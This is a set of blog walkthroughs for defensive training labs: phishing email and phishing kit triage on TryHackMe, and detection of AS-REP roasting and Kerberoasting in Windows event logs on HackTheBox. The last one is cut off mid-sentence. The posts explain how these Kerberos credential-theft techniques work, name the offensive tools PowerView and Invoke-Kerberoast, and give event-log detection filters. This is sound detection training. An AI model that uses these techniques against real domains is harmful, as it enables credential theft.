[{"content":"Introduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Snapped Phish-ing Line blue team challenge from TryHackMe, you’re in the right place.\nThis scenario drops us into a quickly escalating incident at SwiftSpend Financial, where multiple users got hit with suspicious phishing emails and some even got hooked by the lure and submitted their credentials. Not good! Our job is to analyze the phishing emails, check out the attachments, determine how this phishing kit operates, and scope the affected users.\nThis challenge focuses heavily on phishing email analysis and incident triage fundamentals. To help us on our investigation we’ll pivot between tools like CyberChef, VirusTotal, and a few native utilities within the lab VM to inspect email headers, analyze malicious attachments, extract artifacts from a phishing kit, and identify attacker infrastructure.\nWhat makes this challenge especially valuable is how it mirrors real-world workflows. I’ll walk through each step clearly, and by the end, you’ll have a solid understanding of how to approach similar investigations in the field. Sounds like fun, right? Let’s go!\nChallenge Scenario: As a member of the IT department at SwiftSpend Financial, you are responsible for assisting employees with technical concerns. What initially appeared to be a routine day quickly escalated when multiple employees across different departments reported receiving a suspicious email. Several users noted unusual characteristics in the message, and unfortunately, some had already submitted their credentials and were no longer able to access their accounts. With the potential for a wider compromise, the incident has been escalated for investigation. Your task is to analyze the available evidence, determine the scope of the attack, and uncover how the adversary operated.\nObjectives Analyze the provided email samples to identify key artifacts\nInvestigate phishing URLs to understand redirection\nRetrieve and examine the phishing kit used in the attack\nUse CTI tools to gather intelligence on the adversary\nAnalyze the phishing kit to uncover additional indicators\nQuestions 1 \u0026amp; 2: 1. Begin reviewing the emails in the phish-emails folder on your desktop. Which individual received the email regarding a Quote for Services Rendered?\n2. What email address was used by the adversary to send the phishing emails? Let’s kick off our investigation. Our first objective is to analyze the provided email samples and identify key artifacts. Open the phish-emails folder on the desktop of the THM VM. You’ll find several phishing email samples in this directory.\nThe first file to review is: Quote for Services Rendered processed on June 29 202 100132 AM.eml\nThis file contains the email header information needed to answer both Question 1 and Question 2.\nOverview of the phishing artifacts\nThere are a couple of ways to approach this. We can open the .eml file in a mail client like Thunderbird, which is already installed on the VM, or we can rely on CyberChef to review the mail headers. CyberChef is also available from Desktop/Tools/CyberChef, or as a handy bookmark in the VM\u0026rsquo;s Firefox instance.\nFor this walkthrough, I’ll show both methods.\nThunderbird: Identifying the from and to addresses of the phishing email\nCyberChef: Identifying the from and to addresses of the phishing email\nWhile this is a simple check, getting comfortable with mail headers that aren’t visible in a mail client’s simplified view is a helpful exercise as you build experience in phishing triage.\nQuestions 3 \u0026amp; 4: 3. Investigate the attachment in the email addressed to Zoe Duncan. What is the root domain of the redirection URL found within the file?\n4. Open the attachment in your VM web browser. Which company is the login page impersonating?\nMoving right along to Question 3 and Question 4, we’ll need to review a second phishing email from the phish-emails folder. This time, we\u0026rsquo;re looking for the one that\u0026rsquo;s addressed to Zoe Duncan: Group Marketing Online Direct Credit Advice - zoe.duncan@swiftspend.finance.eml\nWe’re interested in analyzing the attachment: Direct Credit Advice.html. For simplicity, let’s download the attachment directly from the message.\nThunderbird: Downloading the attachment for Zoe Duncan\nSure, we could simply open the attachment, but a more controlled way to assess the file is to use CyberChef to analyze it. Drag the malicious HTML attachment we downloaded from Thunderbird into a new input tab in CyberChef. While the file is readable as-is, we can speed up analysis by applying the Extract URLs operation. This parses the file and displays only URLs identified in the file, which simplifies review versus manually picking them out.\nCyberChef: Extracting the URL from the phishing attachment\nThis approach allows us to quickly identify both the root domain and the URL used in the phishing attachment. It also gives a strong indication of which brand is being impersonated as the lure, even without visiting the phishing page directly.\nSince Question 4 asks us to open the attachment, open it up to see how everything appears to the victim when rendered in the web browser. Right away we\u0026rsquo;ll see the obvious branding of the company the phishing kit is impersonating:\nFirefox: The phishing landing page\nQuestions 5 \u0026amp; 6: 5. Let’s check if the attacker left any files exposed on the same website. Navigate to the /data directory. What is the name of the archive file?\n6. Download the phishing kit archive to your virtual environment. Using the sha256sum command, what is the SHA256 hash of the file?\nNow, this question might feel a bit confusing at first. You might be wondering how we’re able to access the URL, since the lab environment typically doesn’t allow full internet access. There’s a clue in the hosts file, which maps an IP address to the phishing domain, allowing us to access it within the lab environment.\nTerminal: Checking the /etc/hosts file\nSo, jump back to Firefox and enter the URL we found in Question 3. From there, we just need to make a small adjustment to the phishing URL and append /data to it, to navigate to the directory where the .zip file is hosted.\nFirefox: The index of the /data subdirectory\nNow that we’ve found it, we\u0026rsquo;ll download the archive, then use the sha256sum command from the terminal to calculate the SHA256 hash of the phishing kit.\nTerminal: Calculating the SHA256 hash of the phishing kit archive\nBy locating the file and grabbing the kit\u0026rsquo;s file hash, we can pivot and gather additional threat intelligence. This helps add context to the investigation and may reveal whether this kit has been observed in other campaigns. Questions 7 \u0026amp; 8: 7. Investigate the file hash from the previous question using VirusTotal (opens in new tab). Aside from phishing, what other threat category is assigned to the ZIP archive?\n8. Review the VirusTotal Details page for the phishing kit. How many files are contained within the archive?\nWith the hash of the phishing kit in our hands, a solid next step is to identify what additional context and intelligence we can gather. For this task, we’ll use VirusTotal. Since the lab VM has limited internet access, this step requires a browser outside of the lab environment (like on your local machine).\nNavigate to *VirusTotal* and paste the SHA256 hash from Question 6 into the search bar which lets us to check out the platform\u0026rsquo;s analysis results if the sample has already been submitted.\nIn this case, we\u0026rsquo;re in luck, the sample has already been analyzed so we don\u0026rsquo;t need to wait for the scanning to complete. Locate the Threat Categories section to determine how the file has been classified. Aside from phishing, there are two additional categories listed. We’re interested in the first of those categories to answer Question 7.\nhttps://www.virustotal.com/gui/file/ba3c15267393419eb08c7b2652b8b6b39b406ef300ae8a18fee4d16b19ac9686\nNext, we can review the high-level details about the archive\u0026rsquo;s contents, like the number of files contained in it. To do this, navigate to: Details → Bundle Info → Contents Metadata → Contained Files\nThis section shows how many files are packaged within the archive, which answers Question 8.\nVirusTotal: Identifying the number of files contained in the archive\nQuestion 9: Let’s see if the attacker has exposed any captured credentials. Navigate to the /data/Update365/ directory and investigate the log file. What is the email address of the user who submitted their credentials more than once? Next up, we’ll bounce back to Firefox to analyze the log file hosted on the phishing site. Navigate to the /data/Update365 directory of the phishing domain. There, we\u0026rsquo;ll find the log.txt file, which appears to contain credentials captured by the phishing kit.\nFirefox: Accessing the log.txt file on the phishing domain\nOpen log.txt. The file is fairly small, so we can quickly perform a manual review by looking for duplicate entries in the email field. Contents of the log file\nIn a real-world scenario, log files would likely be much larger. To work more efficiently, we can extract email addresses and identify duplicates using CyberChef. Copy the contents of the log file and paste them into CyberChef. From there, apply the Extract email addresses operation, followed by Sort, to quickly surface the duplicates. This approach helps scale the analysis by reducing those manual checks.\nCyberChef: Analyzing the contents of the log.txt file\nUsing either method, we\u0026rsquo;ve identified a single user who submitted their credentials more than once. This suggests the user attempted to log in repeatedly after the first submission.\nSounds like this user might need double the training :D\nQuestion 10: Extract the phishing kit archive and locate the submit.php file. What email address is used by the adversary to collect compromised credentials? To answer Question 10, extract the phishing kit ZIP file that we downloaded in Question 6 and locate the submit.php file found at:\n/home/damianhall/Downloads/Update365/office365/Validation/submit.php\nOnce you\u0026rsquo;ve got it, drop the file into CyberChef. As before, we can use the Extract email addresses operation to quickly identify any email addresses embedded in the script.\nCyberChef: Extracting email addresses from submit.php\nIn this case, there is only a single result. This strongly suggests we’ve identified the address used by the attacker to collect the compromised credentials.\nQuestion 11: Return to the phishing URL and locate the flag.txt file. Using CyberChef (opens in new tab) to decode the flag, what is the secret value? Finally, we’ve made it to the grand finale, which has us searching the phishing site for flag.txt. Since we don’t have enumeration tools like DirBuster or OWASP ZAP available in the VM, we’ll take a manual approach to hunt for the flag.\nA logical starting point is to revisit the directories we already know exist, such as:\n/data /data/Update365 /data/Update365/office365 From there, we can try appending flag.txt to these paths.\nFirefox: Locating the flag.txt file through manual enumeration\nHey, that worked! We’ve found the flag. One last hurdle remains: the contents of the file appear to be obfuscated\u0026hellip;\nNo problem. We just need to do some light decoding using CyberChef.\nCopy the contents of flag.txt into a new input window in CyberChef and apply the From Base64 operation. This gets us closer, but the output still isn’t readable. Next, add the Reverse operation to reveal the final flag.\nCyberChef: Decoding the obfuscated flag\nNice job! Now let\u0026rsquo;s wrap up this investigation.\nConclusion: How fun was that! A big thank you to TryHackMe for another awesome challenge.\nThis investigation gave us a practical look at how phishing campaigns operate and can be triaged, from the initial email lure all the way through credential harvesting and exposed attacker infrastructure.\nAlong the way, we reviewed email headers, analyzed malicious attachments, identified attacker-controlled infrastructure, and even dug into a phishing kit to uncover how credentials were being collected. Each step built on the last, which made the investigation feel both structured and realistic. What I liked most about this challenge is how closely it mirrors real-world workflows and gives a small peek behind the curtains of the kit.\nOne of the biggest takeaways for me is how effective CyberChef can be during investigations. Even for relatively simple tasks like extracting URLs, parsing email addresses, or decoding content, CyberChef significantly speeds up analysis. Instead of manually picking through data, we’re able to quickly isolate what matters and move on to the next lead. Small efficiency gains like that add up quickly, especially in larger investigations.\nThanks for working through this investigation with me. Hopefully this walkthrough helps you get past a stumbling block or gives you a few ideas you can apply in your own analysis.\nRemember, cybersecurity is a team sport, and we’re in this together! Until next week’s challenge — stay curious and be safe out there.\nTools \u0026amp; References: Challenge Link: https://tryhackme.com/room/snappedphishingline\nVirusTotal: https://www.virustotal.com/\nCyberChef: https://gchq.github.io/CyberChef/\n","date":"2026-06-13T00:00:00Z","image":"/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/0cec87ee1867d1c99bc056f11997f091_MD5.png","permalink":"/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/","title":"TryHackMe  —  Snapped Phish-ing Line Challenge Walkthrough"},{"content":"HackTheBox: Campfire-2 Sherlock Walkthrough Detecting AS-REP Roasting Activity: Correlating Kerberos Events and Authentication Logs with Event Log Explorer Image Credit: https://app.hackthebox.com/sherlocks/Campfire-2?tab=play_sherlock\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Campfire-2 Sherlock from Hack The Box, you’re in the right place.\nThis is the second challenge in the Detecting Active Directory Attacks track and it wastes no time dropping us into a classic blue team scenario. If you’re a completionist, or just want to follow along in order, check out my walkthrough of Campfire-1:\nHackTheBox: Campfire-1 Sherlock Walkthrough\nHot off the heels of a Kerberoasting event, we’re jumping back in the saddle. This time, we’re given a single forensic artifact: a domain controller security log. With just this one event log, it’s on us to figure out what’s going on, identify the user account tied to a suspicious request, and determine what actually happened in Forela’s network.\nAlong the way, we’ll lean on our trusty event log tool, Event Log Explorer, to filter the data and apply a MITRE ATT\u0026amp;CK detection strategy to dial in our results and add some helpful context. This one is a bit more focused, but it’s a classic foundational scenario that shows how far you can get with just domain controller telemetry.\nAnd hey, if you find this walkthrough helpful, whether it helps you level up your memory forensics skills, gets you over a stumbling block, or just serves as a useful reference, consider following me for more weekly deep dives.\nThanks for reading and going on this investigation with me. Let’s go!\nChallenge Scenario: Forela’s Network is constantly under attack. The security system raised an alert about an old admin account requesting a ticket from KDC on a domain controller. Inventory shows that this user account is not used as of now so you are tasked to take a look at this. This may be an AsREP roasting attack as anyone can request any user’s ticket which has preauthentication disabled.\nSetup the Analysis Environment \u0026amp; Extract the Challenge File: Safety first! It’s always important when working with lab/challenge files from HtB (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. As this is a Windows-based challenge, I’m using FLARE-VM for this challenge which is “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”\nTo keep this write-up focused I’m going to skip the step-by-step setup of FLARE-VM but _i_f you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.\nGitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com\nOnce you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nAS-REP Primer: Before we jump too far into the investigation, let’s lay some groundwork and do a quick recap of what an AS‑REP attack is in the context of a domain controller. This will help us contextualize the investigation as we move through it.\nIn an Active Directory environment, modern authentication is handled using Kerberos. We don’t need to go terribly in‑depth, since there are excellent resources for deeper dives if you want to explore it more fully. The idea is that when a client in an Active Directory domain needs to access a resource or log in to a server, an authentication flow takes place using Kerberos. Microsoft has clear visuals in its Learn documentation that walk through this exchange:\nhttps://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13\nThe AS‑REQ and AS‑REP are the first steps in the Kerberos authentication process. AS‑REP roasting becomes possible when an account has Kerberos pre‑authentication disabled.\nWith pre‑authentication enabled, the user’s AS‑REQ includes a timestamp encrypted with their password hash. The domain controller must successfully decrypt that timestamp before it will issue an AS-REP containing a Ticket Granting Ticket (TGT). This step helps prove the requester actually knows the user’s secret.\nWhen an account doesn’t require this pre-authentication, attackers can just send an AS-REQ, snag the AS‑REP, and then brute‑force the encrypted data offline to recover the password. This is what’s called an AS-REP Roasting attack, which MITRE ATT\u0026amp;CK classifies under Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004).\nMITRE describes it like this:\nAdversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages. For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4.\nNot good! But understanding this flow is exactly what we need as we move into the investigation.\nMITRE also provides helpful detection guidance. It recommends monitoring for patterns such as:\nDetects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (Event ID 4768 with Pre-Auth Type 0). Correlates these requests with subsequent service ticket activity (Event ID 4769) and anomalies such as requests using weak RC4 encryption (etype 0x17).\nIn other words, by combining these telemetry points and applying them to our investigation, we can start to spot activity that looks like AS‑REP roasting and begin to scope what’s really happening. Let’s give it a shot!\nQuestion 1: When did the ASREP Roasting attack occur, and when did the attacker request the Kerberos ticket for the vulnerable user? Let’s kick off this investigation. After extracting campfire-2.zip, we’re left with a single artifact: Security.evtx from Forela’s domain controller.\nWhile we could analyze this log using the built‑in Windows Event Viewer, for this walkthrough I’m once again using Event Log Explorer, a third‑party utility that significantly speeds up filtering and navigation during event log analysis. It’s already installed in my lab environment, and for investigations like this, it’s hard to beat.\nOnce Event Log Explorer is open, load the Domain Controller security.evtx. From here, we can apply the MITRE ATT\u0026amp;CK detection guidance we discussed in the AS-REP Roasting primer and put it directly into practice.\nTo do that:\nClick the Filter button in the toolbar Add Event ID 4768 (A Kerberos authentication ticket (TGT) was requested) Select Description Params Locate Additional Information\\Ticket Encryption Type Set the operator to Equal Add the value 0x17 (RC4 encryption) Locate Additional Information\\Pre-Authentication Type Set the operator to Equal Add the value 0 (pre-authentication disabled) Event Log Explorer: Applying the MITRE ATT\u0026amp;CK detection filters to our log\nAfter applying this filter, we’re left with exactly one matching event. That’s a strong signal and, conveniently, it’s all we need to answer Question 1.\nThere’s one final detail to pay attention to. The question expects the answer in UTC time. Event Viewer and many third‑party tools often display timestamps in local time by default, which can easily trip you up if you’re not careful.\nTo get the authoritative timestamp, double‑click the event, open the XML tab, and look for the \u0026lt;SystemTime\u0026gt; field. This value is recorded in UTC and removes any ambiguity around time zone conversion.\nEvent Log Explorer: Drilling into event properties to find the UTC SystemTime value\nAt this point, we’ve isolated the Kerberos authentication request that matches the conditions for a potentially AS‑REP roastable account and identified the precise UTC timestamp associated with it. With that in hand, we can confidently answer Question 1 and move forward with the investigation.\nQuestions 2, 3, 4: Please confirm the User Account that was targeted by the attacker. What was the SID of the account? It is crucial to identify the compromised user account and the workstation responsible for this attack. Please list the internal IP address of the compromised asset to assist our threat-hunting team. Now that we’ve identified the TGT request that exposes the right conditions for a potential AS‑REP roasting attack, we have a ton of useful forensic detail to work with. This is where Kerberos logging really starts to pay off.\nLooking back at our work in Question 1, we already isolated the relevant Event ID 4768. From here, it’s just a matter of pulling the right fields from the event record.\nEvent Log Explorer: Analyzing the event details\nTo answer Question 2, we can look at the Account Name field, which identifies the user account targeted in the request: arthur.kyle.\nFor Question 3, we’re asked to provide the Security Identifier, or SID, of that account. In Active Directory, the SID is the unique value used to identify a security principal. In this event, that value is captured in the User ID field, which gives us the SID associated with arthur.kyle.\nFinally, for Question 4, we pivot to the Network Information section of the event. The Client Address field provides the source of the request. In this case, we’re interested in the IPv4 address, which represents the workstation that initiated the Kerberos authentication request. This gives us a valuable pivot point to continue the investigation and start scoping the potentially compromised system.\nQuestion 5: We do not have any artifacts from the source machine yet. Using the same DC Security logs, can you confirm the user account used to perform the ASREP Roasting attack so we can contain the compromised account/s? Remember in the detection strategy back in the primer that MITRE ATT\u0026amp;CK recommended correlating Event ID 4768 activity with “subsequent service ticket activity (Event ID 4769).”\nThis next step is doing exactly that. We’re correlating our original finding with [Event ID 4769](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769) (A Kerberos service ticket was requested) and pivoting off the client IP address we uncovered in Question 4.\nTo do this, apply a new filter in Event Log Explorer:\nScope to Event ID 4769 Add the Description Param: Network Information\\Client Address Operator: Contains Value: 172.17.79.129 Event Log Explorer: Filtering Kerberos service ticket requests (4769) from the suspicious client\nAfter applying this filter, we’re left with a single matching event. That gives us a clean correlation point between the source system and follow-on Kerberos activity.\nDrilling into the event details, we can now identify the account associated with this request. The event shows the account name happy.grunwald, which appears to be the user context tied to the system performing the activity.\nEvent Log Explorer: Analyzing the event details\nAt this point, we’ve linked together:\nThe targeted account (arthur.kyle) The source system (172.17.79.129) And now the user context associated with that system (happy.grunwald) This gives us enough context to begin containment actions and start scoping the potential compromise. With that, we’ve answered all of the questions and completed the investigation. Nice job!\nConclusion: Another great challenge, how fun was that? A huge thank you to Hack The Box for the Sherlock.\nThis lab ended up being a really good reminder of just how much signal exists in event logging if you take the time to understand how domain authentication actually works. Kerberos isn’t new, and AS‑REP roasting isn’t either, but walking through the mechanics step by step makes it clear why weak account configuration still represents real risk in modern environments. Nothing wild here, just attackers leveraging expected behavior in ways defenders need to anticipate.\nWhat I appreciated most about this challenge is how focused it was. It zeroed in on a single detection and made it approachable without oversimplifying it. In a real environment, we’d be dealing with a lot more noise, but this Sherlock does a great job of showing how to investigate AS‑REP roasting in an approachable way.\nLike in Campfire-1, leaning on MITRE ATT\u0026amp;CK as a reference point paid off here. Rather than hunting blindly, it helped us home in on what to look for, why certain events mattered, and how those signals might translate into detections later on. This kind of structured approach quietly reinforces how ATT\u0026amp;CK can guide both investigations and detection engineering without forcing things into a rigid workflow.\nIf you got something out of this walkthrough, whether it helped you better understand Kerberos abuse, work through a stumbling block, or just served as a practical reference, feel free to give it a clap and follow along. I really appreciate the support, and I hope these write‑ups continue to be useful.\nRemember, cybersecurity is a team sport, and we’re in this together.\nUntil next week’s challenge, stay curious and be safe out there.\nTools \u0026amp; References: Challenge Link: https://app.hackthebox.com/sherlocks/Campfire-2?tab=play_sherlock\nFlare-VM: https://github.com/mandiant/flare-vm\nEvent Log Explorer: https://eventlogxp.com/\nMicrosoft Learn — “Kerberos Network Authentication Service (V5) Synopsis”: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13\nMITRE ATT\u0026amp;CK — Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004): https://attack.mitre.org/techniques/T1558/004/\nMicrosoft Learn — “4768(S, F): A Kerberos authentication ticket (TGT) was requested”: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768\nMicrosoft Learn — “4769(S, F): A Kerberos service ticket was requested”: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769\n","date":"2026-05-24T00:00:00Z","image":"/posts/hackthebox-campfire-2-sherlock-walkthrough/c0821df671c5de03e97c6d0bb79cad3f_MD5.png","permalink":"/posts/hackthebox-campfire-2-sherlock-walkthrough/","title":"HackTheBox  — Campfire-2 Sherlock Walkthrough"},{"content":"HackTheBox: Campfire-1 Sherlock Walkthrough Detecting Kerberoasting Activity: Correlating Kerberos Events, PowerShell Logs, and Prefetch Artifacts Image Credit: https://app.hackthebox.com/sherlocks/Campfire-1?tab=play_sherlock\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Campfire-1 Sherlock from Hack The Box, you’re in the right place.\nThis is the first challenge in the Detecting Active Directory Attacks track and it wastes no time dropping us into a classic blue team scenario.\nFor this walkthrough, we’re given a collection of forensic artifacts, including Domain Controller security logs, PowerShell operational logs from the affected workstation, and Windows Prefetch files. From there, it’s on us to reconstruct the attack and figure out what actually happened in the environment.\nAlong the way, we’ll bust out a handful of tools, including Event Log Explorer, PECmd, and Timeline Explorer, and map what we find back to MITRE ATT\u0026amp;CK to add some helpful context. Going hands‑on with a broad set of tools like this is a great way to get experience with multiple utilities and compare how each one shines during different phases of an investigation.\nAnd hey, if you find this walkthrough helpful, whether it helps you level up your memory forensics skills, gets you over a stumbling block, or just serves as a useful reference, consider following me for more weekly deep dives.\nThanks for reading and going on this investigation with me. Let’s go!\nChallenge Scenario: Alonzo Spotted Weird files on his computer and informed the newly assembled SOC Team. Assessing the situation it is believed a Kerberoasting attack may have occurred in the network. It is your job to confirm the findings by analyzing the provided evidence.\nYou are provided with:\n1- Security Logs from the Domain Controller\n2- PowerShell-Operational Logs from the affected workstation\n3- Prefetch Files from the affected workstation\nSetup the Analysis Environment \u0026amp; Extract the Challenge File: Safety first! It’s always important when working with lab/challenge files from HtB (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. As this is a Windows-based challenge, I’m using FLARE-VM for this challenge which is “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”\nTo keep this write-up focused I’m going to skip the step-by-step setup of FLARE-VM but _i_f you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.\nGitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com\nOnce you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nKerberoasting Primer: Before we jump too far into the investigation, let’s lay some groundwork and do a quick recap of Kerberoasting in the context of domain authentication. This will help us contextualize what we’re looking at as we move through the evidence and hopefully avoid stumbling over assumptions later on.\nAt a high level, the attacker already has valid domain credentials. With those credentials, they can request a Kerberos service ticket for another account that has a registered Service Principal Name or SPN. These SPNs are typically associated with service accounts. Because Kerberos is designed to allow any authenticated domain user to request service tickets, the attacker can ask the domain controller for tickets tied to these exposed service accounts.\nIf the service account is protected by a weak password, especially if a legacy encryption algorithm like RC4 is still in use, the attacker can take the resulting ticket offline and attempt to brute force it. If successful, this might give them valid service account credentials. From there, lateral movement or privilege escalation becomes much easier, depending on how that account is configured in the domain.\nMITRE ATT\u0026amp;CK describes the technique like this:\nAdversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Force.1(https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1)2(https://adsecurity.org/?p=2293)\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service3(https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/)).\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).1(https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1)2(https://adsecurity.org/?p=2293) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials.\nNot good. But understanding this flow is exactly what we need as we move into the investigation.\nMITRE ATT\u0026amp;CK also provides helpful detection guidance (DET0157) and recommends:\nMonitoring for anomalous Kerberos TGS requests (Event ID 4769) with RC4 encryption (etype 0x17), accounts requesting an unusual number of service tickets in a short period, or service accounts targeted outside normal usage baselines. Also correlates suspicious process activity (e.g., Mimikatz invoking LSASS access) with Kerberos ticket anomalies.\nIn other words, by combining these telemetry points and using them as the basis of our investigation, we can more confidently spot Kerberoasting activity and scope its impact. Let’s give it a shot.\nQuestion 1: Analyzing Domain Controller Security Logs, can you confirm the UTC date \u0026amp; time when the kerberoasting activity occurred? Let’s kick off our investigation by extracting the challenge artifact, campfire-1.zip, which leaves us with a folder named Triage. Inside that folder, we’re given both Domain Controller artifacts and Workstation artifacts.\nFor the Domain Controller evidence, we’ve got a Windows Security Event log named security.evtx. This log contains, among many other things, authentication and ticket‑granting activity related to the domain. Since the question is asking us to confirm Kerberos‑related activity, this is a logical place to start.\nWhile we could analyze this log using the built‑in Windows Event Viewer, for this walkthrough I’m using Event Log Explorer, a third‑party utility that significantly speeds up filtering and navigation during event log analysis. It’s already installed in my lab environment, and for investigations like this, it’s hard to beat.\nOnce Event Log Explorer is open, load the Domain Controller security.evtx. From here, we can apply the MITRE ATT\u0026amp;CK detection guidance we discussed in the Kerberoasting primer and put it directly into practice.\nTo do that:\nClick the Filter button in the toolbar Add Event ID [4769](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769) (A Kerberos service ticket was requested) Select Description Params Locate Additional Information\\Ticket Encryption Type Set the operator to Equal Add the value 0x17 (RC4 encryption) Event Log Explorer: Applying the MITRE ATT\u0026amp;CK detection filters to our log\nAfter applying this filter, we’re left with exactly one matching event. That’s a strong signal and, conveniently, it’s all we need to answer Question 1.\nEvent Log Explorer: Pinpointing the matching event\nThere’s one final detail to pay attention to. The question specifically asks for the UTC date and time. Event Viewer and many third‑party tools often display timestamps in local time by default, which can easily trip you up if you’re not careful.\nTo get the authoritative timestamp, double‑click the event, open the XML tab, and look for the \u0026lt;SystemTime\u0026gt; field. This value is recorded in UTC and removes any ambiguity around time zone conversion.\nEvent Log Explorer: Drilling into event properties to find the UTC SystemTime value\nAt this point, we’ve isolated the Kerberos service ticket request that matches known Kerberoasting indicators and identified the precise UTC timestamp associated with it. With that information in hand, we can confidently answer Question 1 and move forward with the investigation.\nQuestions 2 \u0026amp; 3: What is the Service Name that was targeted? It is really important to identify the Workstation from which this activity occurred. What is the IP Address of the workstation? To answer Questions 2 \u0026amp; 3, we need to look a bit more closely at the event we identified in Question 1. Specifically, we’re going to examine the Description details for that Kerberos service ticket request. There’s a wealth of useful forensic information here, but for now we’re focused on two things: the service that was targeted and the workstation that made the request.\nEvent Log Explorer: Identifying the targeted service account and requesting client address\nIf you recall from the primer, I mentioned that service accounts are the ones that typically have registered Service Principal Names. We can see that pattern clearly in this event. Under Service Information, the Service Name field shows MSSQLService. That immediately stands out because MSSQLService is the SPN used by Microsoft SQL Server to authenticate database services. This fits neatly into the expected attack chain.\nThat gives us our answer for Question 2.\nNext, we need to identify the workstation responsible for making this request. This information lives a bit further down in the same event under Network Information. Here we can see the Client Address, which records the IPv4 address of the system that requested the service ticket.\nIn this case, the address listed is 172.17.79.129. That tells us exactly where the request originated from and gives us a starting point for pivoting into the workstation‑side artifacts later in the investigation.\nWith the targeted service identified and the requesting workstation pinned down, we’ve now answered Questions 2 \u0026amp; 3 and set ourselves up nicely for the next phase of analysis.\nQuestions 4 \u0026amp; 5: Now that we have identified the workstation, a triage including PowerShell logs and Prefetch files are provided to you for some deeper insights so we can understand how this activity occurred on the endpoint. What is the name of the file used to Enumerate Active directory objects and possibly find Kerberoastable accounts in the network? When was this script executed? (UTC) Moving right along, the next thing we need to tackle is figuring out exactly which tool was used on the workstation to enumerate Active Directory objects and discover Kerberoastable accounts with exposed SPNs. For that, we’ll pivot away from the Domain Controller and jump over to the workstation artifacts.\nThe first artifact we’ll look at is the PowerShell-Operational.evtx log. This log records PowerShell operational activity, including cmdlet execution and script content via Script Block Logging. That makes it an excellent data source when we suspect malicious PowerShell activity on an endpoint.\nJump back into Event Log Explorer and load PowerShell-Operational.evtx. From here, we’ll focus on Event ID 4104, which corresponds to PowerShell Script Block Logging. This event type often exposes exactly what code was executed, even if the script itself was run from disk or memory.\nEvent Log Explorer: Finding evidence of PowerView execution\nThe evidence shows up across multiple 4104 events, but by navigating to the earliest occurrences, we can see where this activity began. In those initial events, the script content clearly references powerview.ps1.\nFor context, PowerView is a reconnaissance module that’s part of PowerSploit, an open‑source offensive PowerShell framework. PowerView is used for domain enumeration tasks such as identifying user accounts, group memberships, and service accounts with SPNs. In other words, a very common tool used to discover Kerberoastable accounts during the discovery phase of an attack. This gives us what we need to answer Question 4.\nPowerSploit _PowerSploit is an open source, offensive security framework comprised of PowerShell modules and scripts that perform a…_attack.mitre.org\nSince we’ve also identified the first Script Block Logging event that references this file, we now have what we need to answer Question 5 as well. As before, the question asks for the execution time in UTC, so we can’t rely on the default timestamp shown in the event viewer.\nTo get the correct value, double‑click the event, switch to the XML tab, and locate the \u0026lt;SystemTime\u0026gt; field.\nEvent Log Explorer: Grabbing the timestamp of PowerView execution\nWith the tool identified and the execution time confirmed, we’ve now answered Questions 4 \u0026amp; 5 and established how the attacker enumerated Active Directory from the endpoint.\nQuestions 6 \u0026amp; 7: What is the full path of the tool used to perform the actual kerberoasting attack? When was the tool executed to dump credentials? (UTC) Our final pair of tasks is to figure out the tool that the attacker actually ran to perform the Kerberoasting attack against the Domain Controller. To do that, we’ll pivot away from event logs entirely and turn to our third forensic artifact: Windows Prefetch files.\nThese files are located under the following directory in the challenge artifacts:\n\\Triage\\Workstation\\2024-05-21T033012_triage_asset\\C\\Windows\\prefetch\nRather than reinvent the wheel explaining what these are and their value, I’ll borrow a solid explanation from Magnet 